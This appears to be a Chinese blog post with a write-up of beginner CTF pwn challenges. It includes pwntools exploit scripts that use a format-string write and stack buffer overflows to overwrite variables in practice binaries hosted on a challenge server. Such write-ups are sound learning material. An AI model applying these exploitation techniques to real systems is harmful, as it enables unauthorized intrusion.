不知道多久的第二条咸鱼

2019-01-26  本文已影响0人  好大一只免孑

老子满血复活啦!
啊哈!
然后把之前的pwn补一下

get_shell

题目描述打开就能获得flag
那就打开嘛


图片.png

做完了嘻嘻

CGfsb

IDA

图片.png

if(pwnme==8)就可以获得flag


图片.png

找到pwnme的地址


图片.png
nc一下发现输入的数据偏移量为10
然后利用格式化字符串漏洞
sh= remote('111.198.29.45',30267)

pwn_adr = 0x0804A068

payload1 = "ABCD" 
payload2 = p32(pwn_adr) + 'aaaa%10$n'
sh.recvuntil('please tell me your name:') 
sh.sendline(payload1)
sh.recvuntil('leave your message please:') 
sh.sendline(payload2)

32位占四个字节,再加4个字节对pwnme赋值为8


图片.png

when_did_you_born

IDA

图片.png
直接输入1926会被强制退出
然后v5必须等于1926
emmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
神经病

然后这里


图片.png

先输入v5再输入v4而v4和v5差8个字节
也就是说v4超过8字节后就会覆盖掉v5
哇哦

from pwn import *
#context.log_level='debug'

sh= remote('111.198.29.45',30287)

p1='aa'
p2='aaaaaaaa'+p64(1926)
sh.recvuntil("What's Your Birth?")
sh.sendline(p1)
sh.recvuntil("What's Your Name?")
sh.sendline(p2)

sh.interactive()

图片.png

emm明天继续补

hello_pwn

直接exp了这道题超级简单

from pwn import *

sh= remote('111.198.29.45', 30591)

sh.recvuntil('lets get helloworld for bof\n') 

shellcode = 'aaaa'+p64(1853186401) 

sh.send(shellcode)

print sh.recv()
上一篇 下一篇

猜你喜欢

热点阅读